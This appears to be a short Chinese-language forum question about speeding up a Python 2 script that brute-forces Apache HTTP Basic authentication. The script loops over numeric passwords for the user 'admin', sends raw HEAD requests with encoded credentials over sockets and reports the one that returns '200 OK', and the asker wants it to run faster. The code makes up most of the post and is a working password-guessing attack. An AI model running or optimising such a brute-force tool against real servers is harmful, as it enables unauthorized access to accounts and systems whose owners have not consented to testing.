我希望对 Apache 授权使用快速暴力测试,而不使用 urllib 或套接字 lib 编码。但是,connect() 是一项非常慢的任务(400/m)。
重复使用 connect() 函数时如何提高效率(没有多进程方法;仅在代码级别)?
for num in xrange(1,10000):
s = socket(AF_INET, SOCK_STREAM)
s.connect((ip,port))
s.send("HEAD /test.php\nAuthorization: Basic "+b64encode("admin:"+str(num))+"\n\n")
if '200 OK' in(s.recv(32)) :
print 'got password !',str(num)
s.close()